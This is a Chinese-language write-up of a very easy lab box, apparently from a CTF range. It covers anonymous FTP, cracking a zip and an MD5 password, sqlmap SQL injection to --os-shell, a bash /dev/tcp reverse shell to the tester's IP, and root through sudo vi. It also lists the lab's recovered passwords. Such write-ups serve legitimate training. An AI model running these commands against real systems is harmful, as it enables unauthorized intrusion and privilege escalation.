以下在靶场中属于very easy难度.
ftp匿名登录到提权
0x01. ftp匿名登录
目标靶机IP:10.129.34.101 本机IP:10.10.14.156
Nmap -sS -sC -sV 10.129.34.101 Nmap扫描结果可以看到开启了ftp、ssh、http的端口且操作系统是Linux的
这里ftp可以通过匿名的方式登录,且ftp登录之后有一个backup.zip文件
通过ftp将其下载到本地,打开之后发现这个zip是需要密码来打开的
0x02. John The Ripper
这时候就可以用到kali里面的**john the ripper(开膛手约翰)**来破解密码了。
先提取backup.zip的hash值到hash.txt中,然后将hash.txt中的hash值去和字典中的值进行匹配
因为这个工具好像是有一种缓存机制,第一次破解之后关闭命令行再去破解,就不会显示出密码 需要加上参数 –show才可以看到原本的密码,这里我把backup.zip的名字都修改了- -。
应该是根据文件的hash值进行判断的,这里得到密码 741852963。
将index.php和sytle.css解压出来,css文件中没有什么有用的信息,就是简单的层叠样式表
而index.php中包含了login的账号和密码,密码是md5,撞库一下得到密码为qwerty789
0x03. sql注入Getshell
访问一下web服务,开局一个登录框,直接用刚刚得到的账号密码登录进来
登录进来之后发现只有这个页面,只有一个搜索的功能,目录扫描也没有其他的结果了。
既然有搜索功能,sql注入肯定是要测试一手的,直接一手单引号看有无报错
好了,丢sqlmap跑一手
得到主要信息:数据库为postgresql、当前是dba权限,并且有堆叠注入,–os-shell 跑起来。
可以看到osshell执行命令是成功了的,但是操作还是有点慢,不太方便,把shell给弹出来吧
这里直接使用bash -i >& /dev/tcp/10.10.14.156/1234 0>&1 是不行的,需要用bash -c “bash -i >& /dev/tcp/10.10.14.156/1234 0>&1” 才能反弹
再使用python来获取一个完全交互式的shell python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
stty raw -echo 输入这条命令之后,再使用命令就不会有输入的命令回显了。
0x04. 提权
现在的权限是postgresql的权限,想要查看能够使用哪些命令,但是需要用到密码,这时候需要找到postgresql用户的密码。
目标使用了apache,linux的apache一般来说目录是 /var/www/html
dashboard.php很显眼 仪表板.php,查看一下是否有我们需要的密码
用户名:postgres 密码:P@s5w0rd!
前面nmap扫出来ssh端口也开着的,那么直接使用这个用户名和密码来登录一下ssh看是否成功
知道了密码,那么就可以使用sudo -l 来查看当前权限可以用sudo哪些操作了。
可以看到,这里可以通过运行 sudo /bin/vi 使用 vi 编辑 pg_hba.conf 文件
可以在这里找找是否可以利用这个点进行提权:https://gtfobins.github.io/gtfobins/vi/#sudo
但是当我使用这条命令的时候却提示不允许postgres用户在这里以root权限执行这个命令
Plan A 失败,还有Plan B,用管理员的身份打开文件然后进行编辑
按下冒号,然后输入 shell=/bin/sh 回车,再按下冒号输入 shell
提权成功,拿到flag,学习到了。